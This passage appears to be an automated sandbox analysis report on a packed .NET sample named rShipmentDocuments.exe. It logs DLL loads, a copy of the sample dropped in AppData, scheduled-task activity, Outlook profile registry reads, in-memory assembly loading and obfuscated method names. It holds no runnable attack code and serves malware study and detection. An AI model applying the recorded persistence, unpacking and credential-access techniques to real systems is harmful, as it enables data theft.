Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\rShipmentDocuments.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: rShipmentDocuments.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: rShipmentDocuments.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, cQp1qcD75pepdx07b2.cs	.Net Code: WdEubta7iG System.Reflection.Assembly.Load(byte[])
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, cQp1qcD75pepdx07b2.cs	.Net Code: WdEubta7iG System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 0_2_058D3243 pushad ; iretd	0_2_058D3249
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 0_2_058D3F8B pushad ; retn 0582h	0_2_058D3F65
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 9_2_068F9233 push es; ret	9_2_068F9244
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_04CE3248 pushad ; iretd	10_2_04CE3249
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 10_2_069C04E7 push ebp; ret	10_2_069C04E8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_0303EFDF push ds; retn 0005h	16_2_0303EFEA
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D89241 push es; ret	16_2_06D89244
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 16_2_06D838AD push eax; retn 0005h	16_2_06D838B2

Source: rShipmentDocuments.exe	Static PE information: section name: .text entropy: 7.843601109745972
Source: ZOlmYtPdlO.exe.0.dr	Static PE information: section name: .text entropy: 7.843601109745972

Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, sfMpDDrgl5tIjHCJHi.cs	High entropy of concatenated method names: 'vpGaW2PTN0', 'wegaH4jDyg', 'urWa4qvVbq', 'fCX4PYIhOH', 'q1B4zNkRqf', 'rLVaZC16tS', 'w83a3OIIqq', 'okgaIn8Z3B', 'fkEagww8gU', 'khqaunenWt'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, LGGmv9ymOKi5LCYbxd.cs	High entropy of concatenated method names: 'npHX1AblaZ', 'baqXEkOt7J', 'RuKX7KX4eq', 'iSVX6FFjK2', 'zlbXo0AyVg', 'xk8Xxe5gYw', 'Sv5X2f9F7e', 'PCAXcTpR9F', 'M3RXAoD4rj', 'dLsXJ9p8BR'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, zXKTFwNZqwSqRHqKqL.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'BxBIS2KtjI', 'OZvIPm7kRm', 'aJfIzkbxK0', 'FO2gZ65hKM', 'oFRg3K4U1G', 'yfFgInamSb', 'gR9ggG0bIJ', 'awC6mZHPi1ydDq46Q07'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, cQp1qcD75pepdx07b2.cs	High entropy of concatenated method names: 'Gn3gmISRMx', 'q1DgWRbbnS', 'g3Zg0nnG3v', 'JmvgH6JwhY', 'RYrgQKVfGT', 'RyEg4wbiXp', 'barga0LMAT', 'ShtgFVfD6W', 'Gghg8Ndg2K', 'TuvgCnWjLB'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, rrJmBaYMgAesC46HKX.cs	High entropy of concatenated method names: 'xG3QjGn87h', 'NN6QYWiYKT', 'OKIHxSvTmK', 'AqtH2WSMQw', 'LWaHcxDdlY', 'blWHATvVd3', 'GtQHJ0E0eI', 'FTOH5SR86k', 'rdiHLAdUMj', 'x6DH1Vb3Zt'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, K5wdDCoyqRME3lH5EU.cs	High entropy of concatenated method names: 'jTmbXwA9h', 'Vd0sdqFFt', 'UG5q0NHX8', 'uB1YhlsGh', 'FOlpvT7i5', 'yIfhkRr26', 'Y7fIVyZ8DGQoBgOfCL', 'WYQoZojU6ruWO8Bbng', 'KsNBLPTyw', 'rSaOPD72o'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, WHIuwreRDsPbwviSjC.cs	High entropy of concatenated method names: 'fQg07Wj5vS', 'DJC060ZXno', 'ja20RebG4F', 'l5m09JnrAG', 'CNd0wT3LMj', 'PrE0eIt332', 'stK0MFBRSS', 'hI80DxEbfd', 'IWg0SxrwDy', 'pf00PfKDeV'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, tUWY54atKrJQlDpHvp.cs	High entropy of concatenated method names: 'Dispose', 'KQk3SQMWoP', 'c89IogNuuD', 'rhwllieQpv', 'IkQ3PMBGby', 'pam3zPCspE', 'ProcessDialogKey', 'vjvIZx49D7', 'ctGI37nYx2', 'jNfIIOfYcv'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, XVYEWIFWBiLsTMqJ21.cs	High entropy of concatenated method names: 'nJ7akCNgu4', 'tDnaVDpnE1', 'tuAabZBu5u', 'G7lasRfKEf', 'wZBajVwA4O', 'wgFaqeYGSB', 'gTZaYWxLmp', 'u4taGsm15h', 'PvQapKO6Np', 'L3Uahmvh7C'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, Bw42dh4UebWEaNMXNVH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VQ8O7dhF48', 'Ib4O6t3FLx', 'imVOR3G4oi', 'tYDO9I8vkI', 'yI3OwPIGJi', 'Re5OendZeS', 'QmNOMxsioE'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, s8ssFsqinUuXVMjTPg.cs	High entropy of concatenated method names: 'lHW3agsf51', 'xxN3F2wPIp', 'XLl3CNyHhj', 'x6y3ytZCnf', 'Oa33XwFddK', 'vgZ3KOev9h', 'QU1cv2vHdMOPcQI0FR', 'RHw0quuw1230eOtEX9', 'G4N33Sb3gu', 'ARC3g7ykgO'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, syuYZq4btbLXi0a2KwI.cs	High entropy of concatenated method names: 'MBvrkZSfdd', 'nlYrVqSUI6', 'Exorb01ktZ', 'kEZrs65423', 'BVerjuu3Vh', 'gWPrqxGr2m', 'Lq4rYPUoN5', 'Y79rGTXibx', 'CNGrp5XXbI', 'isHrh3wD38'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, qsHtpHimvnffligSo0.cs	High entropy of concatenated method names: 'drqfDnTwja', 'FrqfPtuOjs', 'nq5BZadZge', 'EkJB33WMYx', 'LZ9ft19Krn', 'AtJfEJ0BDx', 'P0jfUibrEY', 'nbQf7fOIZa', 'e9xf64RC3h', 'HHvfRuFnMw'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, ajBCZlS1bBb6GaZcdb.cs	High entropy of concatenated method names: 'WaF4maqxIq', 'diS40DLdTd', 'nQU4QsfplF', 'DRm4abQiOR', 'J1a4FEu4HB', 'B45QwAOg80', 'qlbQeb1rY2', 'ou7QMDbksH', 'aZMQD2RIAd', 'vPlQS7PTAP'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, nSJmboJMlQX1MjvRbF.cs	High entropy of concatenated method names: 'PR5TGyjIux', 'RjeTp0rKrp', 'TnTTdw65DD', 'OvIToawqCA', 'uY9T2sKkJi', 'XQVTcFavt3', 'wJyTJxOMul', 'Wf3T59jFta', 'PwWT1jVNbN', 'HLOTtJCjBI'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, n1RHYrzOvkNoCypqxv.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QNDrT23w9l', 'eUvrXhj59N', 'AAxrKi78yI', 'ng3rfXJDDt', 'lplrBHsi0h', 'du2rruGQ1c', 'ARXrO0ByiC'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, ej24U02jMkJFDYhhLB.cs	High entropy of concatenated method names: 'jCpBWVVIgh', 'ei5B0owIh8', 'X24BHCxlVR', 'x7gBQjMYXC', 'EbkB4Oks9w', 'klDBaEsOYg', 'IpRBFdeDva', 'WIcB8GfT3c', 'W0LBCSI4CH', 'MAMByKUJpy'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, yMxGlJ7yHLI4VmhwgP.cs	High entropy of concatenated method names: 'JJkfC9M6r0', 'To1fyO6V6X', 'ToString', 'EH0fWeJ5GH', 'iVmf0NNGpu', 'C21fH5tDeM', 'rtPfQ6lLd4', 'UECf4TNT17', 'vUEfa4ewC9', 'DZRfFb1K4L'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, EsoFSY1MObHNFvQ0yc.cs	High entropy of concatenated method names: 'weNr3ELckE', 'bYwrgh3JNF', 'NT4ruV2OPY', 'E9xrW2m6KQ', 'lcsr0wfgyD', 'UGYrQtCDfg', 'E5fr4SRavu', 'VbhBMmgLqE', 'OUDBDm9bgI', 'ryGBSA4fpR'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, hdAVyr44GYdXRtyTuLG.cs	High entropy of concatenated method names: 'ToString', 'ubJOgovSk8', 'i9POuw6ECr', 'l1sOmfJpMN', 't8vOWsB0vp', 'iMMO0VFYrC', 'PDuOHPRuPt', 'yjJOQlPG3O', 'Ddo0HSeILfk12ZA7FEA', 'hR65JTe0aurssDo5vXt'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, z0u6FmON9MQ6CyDB1o.cs	High entropy of concatenated method names: 'uh2Bd4uvT6', 'HlrBoZ6qD3', 'jm8BxKcDwq', 'bNLB2cZIGx', 'jRJB7ZJMOe', 'NRtBc0N1l1', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, v2559Cskf3ytVZ5mSG.cs	High entropy of concatenated method names: 'rtYHsdjGE7', 'P2WHq0gNe1', 'B6FHGZcgn0', 'dcZHpveFUp', 'WO1HXtj9rM', 'DljHKqvF8J', 'jeZHfPVBXW', 'sTrHByZ4Jn', 'lLlHrHqZjH', 'gF2HOFObap'
Source: 0.2.rShipmentDocuments.exe.4507ae0.1.raw.unpack, WuxZfQxTK70JGtybAX.cs	High entropy of concatenated method names: 'ToString', 'CKxKt5bHCD', 'RobKonCHh0', 'ccRKxakiYl', 'BMCK2ps888', 'Q7ZKcj2ooO', 'jaCKAB1c6w', 'RynKJnIe0A', 'hneK5oH9J4', 'ti4KLWKYBM'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, sfMpDDrgl5tIjHCJHi.cs	High entropy of concatenated method names: 'vpGaW2PTN0', 'wegaH4jDyg', 'urWa4qvVbq', 'fCX4PYIhOH', 'q1B4zNkRqf', 'rLVaZC16tS', 'w83a3OIIqq', 'okgaIn8Z3B', 'fkEagww8gU', 'khqaunenWt'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, LGGmv9ymOKi5LCYbxd.cs	High entropy of concatenated method names: 'npHX1AblaZ', 'baqXEkOt7J', 'RuKX7KX4eq', 'iSVX6FFjK2', 'zlbXo0AyVg', 'xk8Xxe5gYw', 'Sv5X2f9F7e', 'PCAXcTpR9F', 'M3RXAoD4rj', 'dLsXJ9p8BR'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, zXKTFwNZqwSqRHqKqL.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'BxBIS2KtjI', 'OZvIPm7kRm', 'aJfIzkbxK0', 'FO2gZ65hKM', 'oFRg3K4U1G', 'yfFgInamSb', 'gR9ggG0bIJ', 'awC6mZHPi1ydDq46Q07'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, cQp1qcD75pepdx07b2.cs	High entropy of concatenated method names: 'Gn3gmISRMx', 'q1DgWRbbnS', 'g3Zg0nnG3v', 'JmvgH6JwhY', 'RYrgQKVfGT', 'RyEg4wbiXp', 'barga0LMAT', 'ShtgFVfD6W', 'Gghg8Ndg2K', 'TuvgCnWjLB'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, rrJmBaYMgAesC46HKX.cs	High entropy of concatenated method names: 'xG3QjGn87h', 'NN6QYWiYKT', 'OKIHxSvTmK', 'AqtH2WSMQw', 'LWaHcxDdlY', 'blWHATvVd3', 'GtQHJ0E0eI', 'FTOH5SR86k', 'rdiHLAdUMj', 'x6DH1Vb3Zt'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, K5wdDCoyqRME3lH5EU.cs	High entropy of concatenated method names: 'jTmbXwA9h', 'Vd0sdqFFt', 'UG5q0NHX8', 'uB1YhlsGh', 'FOlpvT7i5', 'yIfhkRr26', 'Y7fIVyZ8DGQoBgOfCL', 'WYQoZojU6ruWO8Bbng', 'KsNBLPTyw', 'rSaOPD72o'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, WHIuwreRDsPbwviSjC.cs	High entropy of concatenated method names: 'fQg07Wj5vS', 'DJC060ZXno', 'ja20RebG4F', 'l5m09JnrAG', 'CNd0wT3LMj', 'PrE0eIt332', 'stK0MFBRSS', 'hI80DxEbfd', 'IWg0SxrwDy', 'pf00PfKDeV'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, tUWY54atKrJQlDpHvp.cs	High entropy of concatenated method names: 'Dispose', 'KQk3SQMWoP', 'c89IogNuuD', 'rhwllieQpv', 'IkQ3PMBGby', 'pam3zPCspE', 'ProcessDialogKey', 'vjvIZx49D7', 'ctGI37nYx2', 'jNfIIOfYcv'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, XVYEWIFWBiLsTMqJ21.cs	High entropy of concatenated method names: 'nJ7akCNgu4', 'tDnaVDpnE1', 'tuAabZBu5u', 'G7lasRfKEf', 'wZBajVwA4O', 'wgFaqeYGSB', 'gTZaYWxLmp', 'u4taGsm15h', 'PvQapKO6Np', 'L3Uahmvh7C'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, Bw42dh4UebWEaNMXNVH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VQ8O7dhF48', 'Ib4O6t3FLx', 'imVOR3G4oi', 'tYDO9I8vkI', 'yI3OwPIGJi', 'Re5OendZeS', 'QmNOMxsioE'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, s8ssFsqinUuXVMjTPg.cs	High entropy of concatenated method names: 'lHW3agsf51', 'xxN3F2wPIp', 'XLl3CNyHhj', 'x6y3ytZCnf', 'Oa33XwFddK', 'vgZ3KOev9h', 'QU1cv2vHdMOPcQI0FR', 'RHw0quuw1230eOtEX9', 'G4N33Sb3gu', 'ARC3g7ykgO'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, syuYZq4btbLXi0a2KwI.cs	High entropy of concatenated method names: 'MBvrkZSfdd', 'nlYrVqSUI6', 'Exorb01ktZ', 'kEZrs65423', 'BVerjuu3Vh', 'gWPrqxGr2m', 'Lq4rYPUoN5', 'Y79rGTXibx', 'CNGrp5XXbI', 'isHrh3wD38'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, qsHtpHimvnffligSo0.cs	High entropy of concatenated method names: 'drqfDnTwja', 'FrqfPtuOjs', 'nq5BZadZge', 'EkJB33WMYx', 'LZ9ft19Krn', 'AtJfEJ0BDx', 'P0jfUibrEY', 'nbQf7fOIZa', 'e9xf64RC3h', 'HHvfRuFnMw'
Source: 0.2.rShipmentDocuments.exe.7db0000.4.raw.unpack, ajBCZlS1bBb6GaZcdb.cs	High entropy of concatenated method names: 'WaF4maqxIq', 'diS40DLdTd', 'nQU4QsfplF', 'DRm4abQiOR', 'J1a4FEu4HB', 'B45QwAOg80', 'qlbQeb1rY2', 'ou7QMDbksH', 'aZMQD2RIAd', 'vPlQS7PTAP'
